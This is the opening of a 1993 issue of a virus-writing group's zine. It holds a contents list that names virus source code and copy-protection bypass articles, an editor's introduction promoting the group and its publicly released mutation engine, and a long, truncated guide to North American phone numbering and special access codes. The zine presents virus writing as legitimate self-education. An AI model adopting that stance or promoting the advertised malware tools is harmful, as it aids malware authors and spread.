NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE NuKE Informational Journal -N E- Volume 1 Issue #6 Nu -N May 1993 uK Nu KE uK (C) Copyright NuKE, 1992, 1993 E- KE NuKE is a trademark registered to NuKE Inc., which is a legally -N E- registered company name in Canada & The United States of America Nu -N uK NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 Article Topic/Titles ~~~~~~~~~~~~~~~~~~~~ 000. This Article............................................................ 001. Introduction to the "NEW" NuKE and NuKE Activities...................... 002. A Guide to the North American Numbering System.......................... 003. National Computer Security Association (NCSA) Cover Report.............. 004. Interactive Realtime Information Service (IRIS) Guide................... 005. Programming the Floppy Disk Controller & the DMA Chip to bypass Int 13h. 006. The Varicella Virus Source Codes........................................ 007. The `Arms Race' on Disk-Based Protection Methods : Round One............ 008. The `Arms Race' on Physical Protection Devices : Round Two.............. 009. AT&T Talk Tickets: Hacker's Heaven? Maybe............................... 010. Mafia, Incorporated. Underworld extends its reach....................... 011. Rivest, Shamir, Adleman, (RSA) Encryption............................... 012. `Clipper Chip' State-of-the-Art Encryption or State-of-the-Art Backdoor. 013. Lies, Scandals and Roomers of the Anti-Virus Community.................. Thanks to NuKE Contributors/Supporters (in alphabetical order) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Aristotle..............(USA) Dr.X...................(Canada) Also Farewell To FireCracker............(USA) ~~~~~~~~~~~~~~~~ Ford Fairlane..........(Sweden) Tormentor & DY.......(Sweden) Lloyd..................(Sweden) (Good-bye Tormentor and your group Nitro-187..............(USA) Demoralized Youth, it was an honour Nereus.................(USA) to chat amongst thyselves. Thanx for Nowhere Man............(USA) the constructive criticism, good Prozen Doberman........(Australia) luck in the future. Pure Energy............(Canada) Rock Steady/NuKE ) Rock Steady............(Canada) Savage Beast...........(Switzerland) Screaming Radish.......(Australia) Shindaq Arl'hur........(Australia) Silent Shadow..........(Canada) TaLoN..................(Australia) The Dark Elf...........(Australia) The Weird One..........(Australia) Throbbing Grisle.......(USA) Uli....................(Switzerland) Viper..................(USA) H O W T O C O N T A C T N U K E ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cybernetic Violence BBS....514-426-9194 v32B NuKE WHQ (*NEW NUMBER*) Black Axis.................804-599-4152 v32B USA NuKE HQ Realms of Choas.........+61-XX-ASK-NUKE Dual Australia NuKE HQ Enigma E:N:U:N..........+41-22-340-0329 v32B European NuKE HQ Please note that "Cybernetic Violence" BBS will under go a NEW Phone number Starting May 29th, 1993. Please take note of the phone number, and remember to call the new number on/after May 29th, 1993. The above are free access systems, please feel free to contact the closest one to you. Signed, NuKE Members/Supporters =============================================================================== ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Introduction to the `New' NuKE and NuKE -N E- Activities" Nu -N uK Nu By the Editor, KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % Introduction % Welcome to the sixth issue of this Informational Journal. With regards to what goes on in the `modem world' utterly known as CyperSpace, NuKE has undergone several changes and recommendations in order to un-cloud the thoughts and impressions, the public has towards NuKE. I do wish to make it clear that there has been TWO unique gatherings of a computer group called `NuKE'. The original founded by The Darkman, whom now left the scene. And the seconded created by myself, Joseph Greco aka Rock Steady. I wish to state out, I simply relived the NuKE name, old members with The Darkman were evicted out of this New NuKE founded by myself, along with Nowhere Man, Phrozen Doberman and Screaming Radish. % What does this NuKE do? % We are _not_ a copious group of computer virus programmers. Surely, we set a few eminent examples that dominated the so-called `virus scene'. And surely we have created ingenious creations that have pressured many others to `mimic' our moves. How lethargic and bleak can some group/person get, if they (the so-called virus groups) have to imitate _us_ whom are here simply for the gain of self-knowledge? Frankly we are not solely a virus group, nor `teens' for that matter. We understand that all the existing `so-called' virus groups are kids/teens, and therefore can understand where such a label can originate from. The computer industry has opened a channel of unlimited information, a gain for self-knowledge advancements. We members/supporters of NuKE only wish to advance by self-knowledge advances and perhaps educate those that wish to be educated. We need to educate the world, no more secrets, it is the only way we can succeed in this world. And for this we are labelled as a computer criminals. Why is it wrong to want to learn how a computer functions internally? Why is it wrong to show you possible loops and holes that can make a computer system vulnerable to unauthorised access. There is a different class of society here in the computer world. A class that can obtain knowledge at alarming rates. A class that seeks and lives on information. A class that wishes to try out new ideas, and experiment others in order to advance intellectually. And yet the public wishes to suppress this minority group that can be even classified as ingenious. Surely we must not mistake those that have a destructive intent into this category. For I find that this type of disfigured character must be plucked out just like a cancerous cell at its early cellular growth. So what does NuKE do? Together we learn, and together we experiment. I wish to bring out the fact that every article here, has undergone extensive research, none of it is `second-hand' news. We will not take a `Michelangelo disassembly' when the exact recreation exist. We will not talk about `Anti-Debugger' routines when the exact article/examples have been seen in a text file publicly floating around the Technodrome. We will not `mimic' anyone, or try to `look' better than they, for the purpose that this is not a game of fame. NED was an exceptional toolkit made in October 1992, that started with the idea of the Dark Avenger's MtE. NED is now publicly available today, with it's SOURCE CODES, and surely enough we will see _many_ "mimic-kids" producing their own based on our trend, and make inarticulate claims that their engine was created solely by they. Simply looking at NED will influence your style of programming. Some unknown author in an unknown United States `so-called' virus group, has already recreated a shroudy example, that structurally looks exactly like N.E.D. Anyhow, it's up to you, the reader, to proclaim theses jokers out. We will not cloud our opinions with any emotional hatred to anyone or group. We believe in publishing works that are original, or state an original opinion, or fact. The NEW NuKE is undergoing dramatic changes in order to help with our overall impression. The New NuKE has even made major attempts to legalize itself by registering its name. However we are still undergoing through this legalization procedure, but do stay in tuned with the next Informational Journal issued out mid-July 1993, which will contain our registered company name, and number. Along with an official mailing address, (PO Box) registered to the NuKE name. NuKE has already made attempts to branch itself into Internet. As we may feature a open access unix (*NIX) site, we certainly will have a mail link to send/receive UUCP mail to our WHQ BBS. (Cybernetic Violence). % Ahhhh, We're on the Net % I certainly cannot guaranty something in the making, but UUCP/Usenet connection is a _very_ possible feature in the near future. I will not toy with you, I will say simply that we are in the process of transforming our system(s), and looking at all possible Unix based systems. It does look like that our choice will be between 386BSD or Linux 0.99.7A, which feature the TCP/IP protocols to establish a link with Internet, if that is to happen. Indeed, a Usenet feed will be made, if our budget does not meet with Internet connection fees. We currently have polled two 386/33Mhz PCs remotely, with a total disk space of 700 Megs and with a CD-ROM to run the software off directly (Linux), all with three 14.4k V32Bis modems and one 14.4k HST based modem. It will seem that we will feature an opened Unix system. We find free informational groups such as NuKE should be hooked up to perhaps, what is the biggest international network today. It certainly will cut down on long distance toll charges, which seem to hover at $500.00 monthly, hitting about $6000.00 yearly. This is Canadian Dollars, however take into grant that Canadian long distance calls are much more cheaper compared to our USA counter part. A one hour call originating from Canada to the United States will cost $15.00 (Can$). Where the USA counter part will pay closer towards $20.00 (US$), about $25.00 (Can$). The same does apply for international calls, which tend to cost more if originating from the USA. All in all, taking the currency exchange rate into account, that $6000.00 (Can$) translates to $7000.000 (Can$) if originated from the USA. I leave you to read the NuKE Informational Journal #6. If you do have any comments that you wish to send to the Editor, Rock Steady, please do so. If you wish to email me concerning a private matter, we feature Rock Steady's personal public key. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.2 mQCNAiv/nIAAAAEEAKuoCTNG4Ahwp9vsdc7FL7PpFEc/oss29OF30v44wNZ3Qwxh uBrqjUOrRJyx3oLV3qrofaJG9BZp2u6NUpo0wTUOQHf0lUt/WWENbYdCYdFfz+Yt x6XoGgKY5M/S2LEUOaDT48ye/E9VzW5bXg0if5fKnqpD7j+e/E0EOTLgG0HDAAUR tB5Sb2NrIFN0ZWFkeSBvZiBOdUtFIFBHUCBLZXkgIzE= =In5p -----END PGP PUBLIC KEY BLOCK----- % What's to come, of NuKE? % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This Informational journal sure was `bad' timing. All to be explain in due time, of course. But we did prolong this journal for quite a long while, due to many, many more articles we wanted to publish. Unfortunately, time stands still for no-one, not even for NuKE. We gathered enough information for another Informational Journal, but the articles were somewhat incomplete, to our standards. We received several articles from guest writers concerning Cellular Phones, Radio Communications, and other bits and pieces. If anyone has any additions or experiences for these topics, please do confront us. We await to see you soon... ================================================================================================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "A guide to the North American Numbering -N E- System" Nu -N uK Nu By KE uK Nowhere Man E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % Introduction % ~~~~~~~~~~~~~~~~ Recently it was announced that the final available area code (under the current area code format), 610, has been appropriated for use in southeastern Pennsylvania. With this change, all standard area codes for the North American phone system have been exhaused. While the final cutover to 610 will not be for another year, this is a landmark for our phone system. In response to this announcement, I've decided to release various information which I've been gathering about the North American phone system to the general public. I hope everyone finds it of interest. Please note that this article assumes that you know nothing about the North American phone system, so readers from the United States and Canada may find some of the information I present to be rather obvious (what 411 and 911 are, for example, or how various calls are placed by a customer); please bear with me for the benefit of those in Europe, etc., as there's some (in my opinion) very interesting information that I've uncovered about out telephone network. % Background % ~~~~~~~~~~~~~~ The North American phone network is the oldest in the world, yet also uses some of the most modern techniques and equipment. Unlike the majority of phone networks, which cover individual countries, the North American phone system covers the United States, Canada, and most of the Caribbean islands (such as Puerto Rico, Barbados, and so on). While calls between various countries on the North American system are generally billed at international rates, they are dialed like any other long-distance call. The entire North American phone system is assigned the country code +1; hence, it is often refered to officially as "World Zone One." World Zone One is further divided into area codes (three digits), which cover larger regions (states, provinces, etc.), exchanges, also three digits, which cover towns or small parts of a larger city, and subscriber-loop numbers (four digits), which identify a given customer in each phone exchange. Together, these form a ten-digit phone number -- unlike many areas, North American assigns ten digit numbers to everyone, regardless of location (in contrast, the U.K. uses two-or-three digit city codes, an optional exchange [for larger towns] of up to three digits, and four digit subscriber numbers). % Organization of area codes % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The de-facto standards bureau for North America's phone network is Bell Communications Research Inc. (Bellcore). Bellcore was formed by AT&T after it's divestiture in 1984 and provides technical and research support to regional holding companies. Bellcore maintains common standards for the telephone systems, ensures a smoothly operating telecommunications netowork, and coordinates operations during national emergencies. Bellcore assignes all area codes and guides other aspects of the telephone numbering scheme. Area codes, known as Numbering Plan Areas (NPAs) in North America are presently of the form N0X or N1X where N represents a number between two and nine, and X is any number between zero and nine; however, area codes ending in -00 or -11 are reserved for special purposes (see below), and are therefore currently unavailable. Originally, central office (exchange) codes were in the form NNX, which distinguished them from area codes, as only area codes had a zero or one in the second digit. However, with increased demand for phone numbers, most exchanges have changed to the NXX format (ie. the second and third digits of an exchange code can be any number, zero to nine). Naturally this presents problems, as exchanges whose seconds digit is one or zero are now indistinguishable from NPAs. As a result, most areas use "one-plus" dialing: to make a long-distance call you dial one plus the area code plus the local number. Area codes were initially assigned in 1947, with at least one being assigned to each American state and Canadian provice and several being assigned to more populous ones -- in all 86 NPAs were originally assigned. Currently the only exceptions to this "one or more NPAs per state" are in Canada, where 902 serves both Nova Scotia and Prince Edward Island, area 819 covers the eastern Northwest Territories as well as part of Quebec, and area 403 covers Alberta, Yukon and the western Northwest Territories; in addition, the 809 area code covers many locations throughout the Caribbean, from Puerto Rico to the Bahamas to the Virgin Islands to Jamaica. (Note: Midway Island and Wake Island, two U.S. posessions in the Pacific Ocean have just been added to area code 808 [Hawaii]. Prior to this time, they were not direct dialable.) The original proposal suggested that the 86 area codes be assigned in a semi-regular pattern (for example, Canada would have been 915, 914, 913, 916, 917, 918, 919, 910 from east to west by province). This plan was modified to eliminate the confusion caused by "similar" area codes adjacent to each other. A state initially assigned a single area code would have zero for it's NPAs middle digit, while a state with more than one area NPA would have a one as a middle digit. Areas where more inward calls were expected (major metropolitan areas like New York City) received "short pull" area codes like 212, because the dialing time would be shorter (remember, this was in the days of rotary phones) and the mechanical switching equipment would be tied up for shorter periods. For example, New York City received 212 (a total of five pulses), while Chicago and Los Angeles, the next two most populous areas in the U.S., received 312 and 213 (six pulses each), respectively. This went all the way on down to NPA 809, the Caribbean, which required 27 clicks of the rotary dial and would presumably be dialed least frequently. Of course, with the dominance of DTMF dialing, a region's NPA is no longer significant... (As a side note, New Jersey was originally given the area code 201, the smallest [numerically] area code, because Bellcore is headquartered there.) Since the initial assignment, there have been numerous area code splits, where certain telephone exchanges are removed from an area code and placed into a new code. Since 1980 there have been at least twenty such splits. The first split occured in the early 1950s, and the final split will occur when 610 is created in 1994. In the U.S., NPAs were further subdivided into LATAs (Local Access Transport Areas) after the breakup of AT&T in 1984. Before this time, there was no real definitation of what was local and what was long-distance; in order to be fair to communities on state borders, etc. (imagine paying LD charges to call five miles away!), LATAs were created that encompassed "populated areas with common calling needs." All calls made within a LATA are handled by the common local telephone company (New York Telephone, Pacific Bell, Illinois Bell, etc.), which currently subscribers cannot choose (this will probably change in the next few years), while all calls between LATAs are handled by a customer-chosen long-distance carrier (AT&T, MCI, Sprint, etc.) and are subject to federal regulation. A LATA may cover a small area or a whole state; they are usually contained within one NPA, but may cover several (e.g. the Chicago LATA covers all of area codes 312 and 708). As of 1991 there were 196 LATAs (and I believe this will not change). Canada does not currently have a LATA system, though it may soon develop one. LATAs are assigned codes, but these are only for billing purposes, and are not dialed by the customer; in fact, LATAs are transparent to the caller, except for routing/billing purposes. Direct Distance Dialing (the ability to place long-distance calls without going through an operator) first was implemented on November 10, 1951 in Englewood, New Jersey, USA, though it was not wide-spread until the 1960s. There was early use of 11X+ codes for long-distance dialing, but eventually 1+ long-distance dialing became standard. As stated, area codes were assigned in 1947, five years before anyone would need one. Why was it done? I'm not sure. It can only be assumed this was done for 1) future planning and 2) the operators' benefit. (Another odd thing is that 0+ [operated-assisted] dialing became available in 1960, almost ten years after direct-dialing was introduced. Why did they bother? Beats me.) Surprisingly enough, a few tiny areas within the United States and Canada are *still* not direct dialable, but they're in remote regions. This includes some isolated ranches in the Texas desert (Bar J Ranch, Double B Ranch, etc.), bordellos and truck stops in Nevada desert areas (Amargosa, Corncreek, etc.), and some wilderness towns in California within the U.S., and remote resorts in Ontario (Kingfisher Lake and Deer Lake, for example) and isolated arctic villages in the Yukon and NWT (Redknife, Taglu, etc.), in Canada. These areas must be serviced via radiophone, so an operator is required. % Non-standard area codes % ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Certain area codes are not available for normal purposes. These can be generally subdivided into two categories: "Service Access Codes" (SACs), NPAs ending in -00, or "11" services, NPAs ending in -11. Service Access Codes are employed like normal access codes (and are dialed normally), but are not assigned to customers in any one geographic area. Rather, SACs are used for Wide-Area Telephone Service (WATS) by business. Currently, only four SACs are employed, and only three can be dialed by normal customers at the present. 600 ~~~ The 600 NPA is currently reserved for Canadian TWX systems (see below) and ISDN usage. To my knowledge, it is not dialable by normal customers. (In fact, I've seen it used in TV shows for 800 numbers like 555 is used for local numbers [ie: call 1-600-FLO-WERS for a fake flower company, since the real 1-800-FLO-WERS already belongs to FTD Florists, who would probably not appreciate hundreds of crank calls tying up their business line].) 700 ~~~ 1-700 numbers are used for Group Access Bridging (GAB) lines: teleconferencing, EasyLink 700 service, chat lines, etc. (Note the cute little acronym...who says Bell doesn't have a sense of humour?) The most famous 700 service is Alliance Teleconferencing from AT&T, but there are many other chat lines available to those with lots of money to burn. The 700 exchange is also used for AT&T EasyLink 700 service, where a customer gets a phone number that can be rerouted to any phone he visits. For example, if a businessman is traveling around the country, at each hotel he stays at he can dial up an 800 number, enter his phone number and PIN, then the current phone number, and all calls to his EasyLink number ring on the phone line he entered; now the office always knows which number he can be reached at. In addition to GAB/EasyLink services, the 700 NPA is sometimes used to allow intra-LATA calls to be placed via your long-distance carrier. By dialing 1-700-NXX-XXXX you are really calling NXX-XXXX but being billed by your long-distance company instead of the local telco. Not all LD services offer this, though (AT&T, for one, does not, but Telecom*USA does). To find out if this is available from your carrier, either call the long-distance operator, or try calling yourself via the 700 NPA (if it's busy [or your call-waiting beeps] you can use the 700 area; or, you can call your other line, if you have one, or a friend to test this out). 800 ~~~ 800 service was pioneered by AT&T in the 1960s and has since become a world standard, with most countries adopting the 800 area code for toll-free dialing. 1-800 numbers are used by businesses, and, increasingly, residential customers, as a service to clients (or, in the case of home users, to college students, truck drivers, and others who need to call home a lot) -- the business decides which areas it wants to provide 800 access in (home state/province only, nearby states/provinces, a whole region of the country, a whole country, U.S. and Canada, or even international, all at increasing cost), and people in those areas who call the 800 number are not billed for the call: the business is. Each 800 number maps to a normal phone number, and the caller is billed normally for the call, however just before the bill is totaled, any 800 calls are removed from the bill and instead billed to the 800 line's owner. The owner of the 800 line pays a startup charge, a monthly fee, and a fee for every fraction of an hour that the line is in use. (Note that as of May 1, 1993 800 phone numbers belong to the business that operates the line and *not* the phone company. This is a step towards the day where every customer will get a permanent phone number no matter where they move, which company they use, etc. This also means that long-time customers are finally free to leave AT&T without losing their old phone numbers...) Before 800 service, local businesses could provide toll-free service with "Zenith Numbers" (ie. ZEX-XXXX under the exchange- name system). Since "Z" isn't on the phone dial, the caller had to have an operator place the call, which was then billed to the business. (This service is still in use in Canada.) 900 ~~~ 1-900 numbers are infamous as kinky phone sex lines, rip-off astrological recordings, etc.; however 900 service is actually much like 800 service... Nothing about 1-900 service dictates that the caller be charged for the call (though he invariably is) -- the key difference between 800 and 900 service is that 900 lines have much higher call-handling capacity (some 900 lines can receive hundreds of thousands of calls at once without jamming!). In addition, 900 service allows the provider to make the caller pay a portion of the charges. As a result, 900 lines have become pay-per-call lines, where the user is charged $0.25-$50.00 plus per-minute costs to listen to pre-recorded messages, chat one-on-one with some cheap whore, etc. The other group of special "area codes" are the N11 series of NPAs. These numbers are not true NPAs, but rather numbers that Bell has assigned to certain key services (police/fire, directory assistance, etc.) as a service to customers -- you just dial the three digits (or 1+ the three digits in some areas), and the call is quickly completed. The -11 codes include: 011 ~~~ 011 is the international dialing prefix in World Zone One. (Unlike most of the rest of the world, which uses 00 for overseas calls, North America uses 011.) 211 ~~~ This code is no longer in service (to my knowledge), but in "the old days," before Direct Distance Dialing (ie. pre-1960s), 211 called up the AT&T long-distance operator, who would place your long-distance call for you. Naturally, this is no longer needed (operator-assisted calls are placed via the long-distance operator at 00), so 211 is generally not used in most areas (in a few NPAs 211 is a ringback). 411 ~~~ 411 reaches local directory assistance (as if you dialed 555-1212). This operator only gives numbers within your NPA (sometimes in neighbouring NPAs, too); to find a number in a different area you have to dial NPA-555-1212. 511 ~~~ 511 is generally unused, though in a few places it is used for ringback. 611 ~~~ 611 reaches your local telephone company's repair office. You provide the man/lady with your error, and for an outragous fee ($1.15/minute in my area), they'll send out a lineman to (hopefully) find and correct the problem. 711 ~~~ The 711 code is not always available, and it's actions depend on where you live -- in British Columbia, for example, 0+711 is used for mobile service, while in Illinois 711 reaches the emergency bureau as if you dialed 911 (see below). In a few areas 711 is the ringback number. 811 ~~~ In some areas 811 dials the local telco's business office. This code was more universal in the past, as now most areas have moved the business office to a 1-800 number (leaving 811 unused). 911 ~~~ The world-famous 911 code calls up a special emergency center where your call is processed and forwarded on to the appropriate agency (police, fire department, ambulance, etc.). The 911 operators automatically receive your name, phone number, address and other information when you call (computers and ANI do the magic), so be wary of trying to mess with this service (not a good idea anyway, as 911 performs a valuble public service). 911 is not available in all areas (mostly rural areas), so this code isn't universal. % Unusual area codes % ~~~~~~~~~~~~~~~~~~~~~~ At one time, several area codes were used for non-standard purposes. These deserve some special attention. Area codes ending in -10 used to be TWX (TeletypeWriter eXchange) area codes. (TWX was an old system used in the days before faxes and modems. Teletypewriters communicated similar to terminals -- a person on the transmitting end would type a message, and a printer on the receiving end would print it out. This is how telegrams were sent.) TWX area codes were not normally dialable from a regular phone, to my knowledge, and were reassigned to regular telephone service as the demand for new NPAs increased and TWX service was eliminated (around 1990). The TWX NPAs served the following regions: 410 - United States, northeastern region 510 - United States, east of Chicago 610 - Canada [now located at NPA 600] 710 - United States, southeastern region 810 - Mexico 910 - United States, from Chicago westward The other set of area codes that deserves mention are the Mexico access numbers. Mexico is not integrated into World Zone One, and is assigned the country code +52. However, a large number of calls are placed to Mexico from North America, so in the days before International Direct Distance Dialing was universal, AT&T assigned three special NPAs for Mexico. These were not NPAs in the true sense: they mapped to Mexican city codes and local numbers. In addition, they were not dialable from outside of the U.S. and Canada. By 1990 IDDD was available from everwhere in North America, so on February 1, 1991 the codes were released for use as true area codes. These codes were as follows: 706 - Northwest Mexico (Tijuana area) [now northern Georgia] 903 - Southwest Mexico (Guadalajara area) [now northeast Texas] 905 - Mexico City area [soon to be southern Ontario] As you might have noticed, these numbers convieniently map to Mexican phone numbers: 706 was really for 70-6X-XXXXXX, 903 was for 90-3X-XXXXXX, and 905 was for 90-5-XXX-XXXX. All of these map to ten digits, an NPA and local number in World Zone One... The 909 area code was used at one time for the Telenet Communications Data Network, now known as SprintNet. When area codes became scarce, Bell took back the area from Telenet, giving it an "interchangeable" area code instead (see below); I'm not sure which area they received. 909 was chosen, naturally, because it takes the longest ammount of time of any area code to dial on a rotary phone (28 clicks). Since Telenet was to be used by computers, which had TouchTone dialing, this didn't matter... 909 is now being used by Riverside and San Bernadino Counties in southern California (formerly part of the 714 area). Finally, what about the 710 area code? 710 is reserved for telephone company and U.S. government purposes, but little is known beyond that. It *cannot* be dialed from a normal telephone. Most operators deny its existance. Which agencies use it? Why? Is this NPA for special "secured lines?" Is it even used at all? If anyone has more information about this area code, please let me know. % Area code statistics % ~~~~~~~~~~~~~~~~~~~~~~~~ Which states/provinces have the most area codes? Here are the top five: 1. California, USA -- 13 2. New York, USA/Texas, USA -- 9 3. Illinois, USA -- 6 4. Ontario, Canada/Pennsylvania, USA -- 5 5. Florida, USA/Ohio, USA/Michigan, USA -- 4 (Note: After 416 splits, Ontario will be tied with Illinois for 3rd place with six area codes each; Michigan will move up to number four with five NPAs when 313 finally splits. At least ten states and one province have three NPAs.) Which area codes have the most exchanges in them? The top ten are: 1. 212 (New York, USA) -- 705* 2. 205 (Alabama, USA) -- 693 3. 919 (North Carolina, USA) -- 691* 4. 313 (Michigan, USA) -- 688* 5. 416 (Ontario, Canada) -- 680* 6. 215 (Pennsylvania, USA) -- 665* 7. 602 (Arizona, USA) -- 657 8. 206 (Washington, USA) -- 649 9. 708 (Illinois, USA) -- 644 10. 713 (Texas, USA) -- 636 (Note: Starred exchange numbers mean that the NPA is scheduled for a split by 1994 [212 is moving some exchanges to 718 right now].) Which area codes have the fewest exchanges? The top ten are: 1. 807 (Ontario, Canada) -- 105 2. 906 (Michigan, USA) -- 117 3. 302 (Delaware, USA) -- 129 4. 413 (Massachusetts, USA) -- 135 5. 401 (Rhode Island, USA) -- 141 6. 307 (Wyoming, USA) -- 171 7. 607 (New York, USA) -- 176 8. 719 (Colorado, USA) -- 179 9. 802 (Vermont, USA) -- 181 10. 506 (New Brunswick, Canada) -- 182 (Note: 917 [New York pager/celluar service] was omitted because it is growing too fast... It had 104 exchanges as of January, but by April is had 124. By now it surely has more. Besides, I don't like to consider it a real area anyway.) (All exchange data is from April 15th, 1993, so this may have changed by now.) Which area codes have the most unlisted numbers? Well, nine out of the top ten area codes are in California. While most people would probably quickly attribute this to the infamous "California" attitude, it's most likely due to the fact that Pacific Bell offers the lowest rates for unlisted numbers ($0.30/month in California, compared to $1.50/month in Chicago, $1.88/month in New York, and $4/month in Idaho). The ten NPAs with the most unlisted numbers (in percent of total numbers) are: 1. 702 (Las Vegas, Nevada, USA) -- 64.6% 2. 209 (Freson, California, USA) -- 63.1% 3. 213 (Los Aneles, California, USA) -- 61.7% 4. 510 (Oakland, California, USA) -- 61.6% 5. 408 (San Jose, California, USA) -- 60.2% 6. 916 (Sacramento, California, USA) -- 59.8% 7. 909 (Riverside, California, USA) -- 57.7% 8. 818 (Anaheim, California, USA) -- 57.1% 9. 619 (San Diego, California, USA) -- 56.5% 10. ??? (Bakersfield, California, USA) -- 55.2% Finally, which areas were considered "the most important" when area codes were handed out; in other words, which areas were assigned the NPAs which required the fewest number of clicks on a rotary phone? The top five are: 1. New York City -- 5 2. Chicago/Los Angeles -- 6 3. Dallas/Detroit/Pittsburgh -- 7 4. Philadelphia/St. Louis/Boston/Austin -- 8 5. Cleveland/Syracuse/Milwaukee/Minneapolis -- 9 (This assumes the original area codes as assigned in the fifties, ie. 212 covers all of New York City, etc.) % Assignment of exchanges % ~~~~~~~~~~~~~~~~~~~~~~~~~~~ When the telephone was first introduced, central-office operators sat at switchboards, completing connections in response to spoken requests. There were few enough phone lines so the operator simply knew where to plug in for the call. That began to change during an outbreak of the measels in Lowell, Massachusetts, in 1879. The town doctor, feared that if all four operators fell ill, their substitutes would have trouble connecting people unless every line got a number. The idea quickly caught on. In the 1880s telephone service quadrupled in the nation's settled areas. Cities soon had not only a central office and phone numbers but exchanges in other parts of town, so callers now asked for Main or Central plus the subscriber's several-digit number. Branch exchanges usully took their names from their relative geography, street names, or names of neighborhoods. Bell devised phonetic tests to help make sure only easily understood names were chosen. When neighborhood and street names started to run out, the Bell System recommended new names, like Evergreen, Lakeside, Poplar, and Walnut. By the time dialed calling was introduced in the Bell System in 1921 the exchange name were so ingrained that Bell Telephone kept them on. William G. Blauvelt of AT&T had divided the alphabet into groups of three letters for each of the dial's openings in 1917. Z was omitted because, well, it was the last letter; that left an odd letter to eliminate. It came down to Q and X, the two most infrequent letters in English, but Bell finally decided to keep X, since Q could only be followed by U, limiting the number of possible exchange names. And because a single phone-number pulse could be transmitted when the receiver lifted or the finger wheel was jarred, no calls would be initiated until a pulse signal of at least two was received; thus the number one got no letters attached to it. Dialing swept the nation, but only large cities used exchange name dialing; in small towns one still had only to dial a three- or four-digit number. (As a side note, why was it that subscriber numbers were never more than four digits? It's a carry-over from the early days before direct dialing. It was determined that an operator could not reach more than 10,000 plugs without getting up from her seat...) Seven-digit numbers became standard only after World War II. New York City had pioneered them in the early 1930s when it began inserting an "exchange-designation number" after the two-letter exchange prefix (for example, you used to dial RA6-9999 for the RAndolph exchange in Chicago, with six as the "exchange-destination number"). By the mid-1950s all other major cities were converted to this system, replacing such combinations as Chicago's three letters and four digits, Cleveland's two letters an four digits, and Dallas's one letter and four digits. In 1961 Bell Telephone announced that it would phase out exchange name dialing city by city. Pittsburgh and Cincinnati began converting in 1962; Philadelphia and Seattle were the last to change, in 1978. The classic combiation of two letters and five numbers was a fully national standard for less than a decade. The two-letter-five-number system was also used in Canada, though I'm not sure how widely. Vancouver, British Columbia was one city to use this system, though I don't how many others did. (Anyone have any information about this?) All-number calling was introduced for several reasons. Mainly there weren't enough workable letter combinations. Exchanges like 571 had stayed unavailable because letters like JKL (5) and PRS (7) wouldn't combine. All-number calling also eliminated hard-to-spell exchanges, prevented mix ups between similar leters and numbers like O and 0, and made possible direct dialing from Europe and other parts of the world, where most phones never had letters on their dials. For the benefit of those outside of North America, I have included a diagram of how our phone pads are layed out and which letters are assigned to which key: 旼컴컴컴쩡컴컴컴쩡컴컴컴� � 1 � 2 � 3 � � � ABC � DEF � 쳐컴컴컴탠컴컴컴탠컴컴컴� � 4 � 5 � 6 � � GHI � JKL � MNO � 쳐컴컴컴탠컴컴컴탠컴컴컴� � 7 � 7 � 8 � � PRS � TUV � WXY � 쳐컴컴컴탠컴컴컴탠컴컴컴� � * � 0 � # � � � OPER � � 읕컴컴컴좔컴컴컴좔컴컴컴� (Note: the zero key is marked "OPER" because dialing zero will summon the local operator. Zero and one have no letters officially assigned to them. Some people like to claim that one is "Q" and zero is "Z", but I have never seen one or zero used in that fashion before.) Each area code has certain exchanges set aside for special purposes. These exchanges are: 555 ~~~ Local directory assistance. Dialing NPA-555-XXXX will get you directory assistance for the given area. This is why most phone numbers in movies and TV shows are 555-XXXX or KLondike-5 XXXX... People whose numbers were used in movies, etc. complained to the studios after getting hundreds of calls from losers asking for James Bond or whatever. (One family's phone number appeared on the cover of a heavy metal album and is now suing the band after receiving thousands of threatening phone calls from fans.) This use of 555-XXXX is purely a voluntary thing; a long time ago Bell was able to reserve certain exchanges throughout the country that producers could safely use, but with a shortage of telephone exchanges they had to stop this practice. 950 ~~~ Used to access other long-distance services. This is called Feature Group B equal access. To use the service you call their 950 number (which is a free call), then enter your multi-digit PIN, then dial the number you wish to call. Almost all areas now have Feature Group D service (Equal Access), where you select an alternate carrier and then use it normally, like you used to use AT&T (ie. just dial 1-NPA-NXX-XXXX). Currently 950s are only used in the U.S., but they are reserved for future use in Canada and will probably soon be utilized, given the recent Unitel decision. Currently Canadian callers must use local dialups for independent long-distance carriers (called Feature Group A, long phased out in the United States). (In the U.K. Mercury uses a similar setup. Mercury phones are equiped to pulse dial 131, enter the customer's ten-digit PIN touch-tone, then enter the number they're trying to call, all automatically. This is sort of like 950 access...) 958 and 959 ~~~~~~~~~~~ These exchanges are usually reserved for plant testing. In some areas they may be used for normal service. In most areas other exchanges are used for testing, too. 976 ~~~ 976 numbers are like local 1-900 numbers. They are billed on a per-minute basis, but are usually much less expensive than 900 calls (not more than a dollar or two at most per minute). 976 can usually be blocked (like 900 numbers), sometimes for a fee. In some areas the telephone company has other exchanges set aside for 976-type usage; for instance in Pennsylvania the telco has reserved the 556 exchange for this purpose, and in Texas 703 is used. Sometimes these other exchanges must be specifically requested by the customer to be dialed (in other words they default to blocked). 844 ~~~ The 844 exchange used to be used for time (it was TIme-4 under the old exchange-name system), but the telephone companies figured why give away this service for free when you can charge $0.50 via a 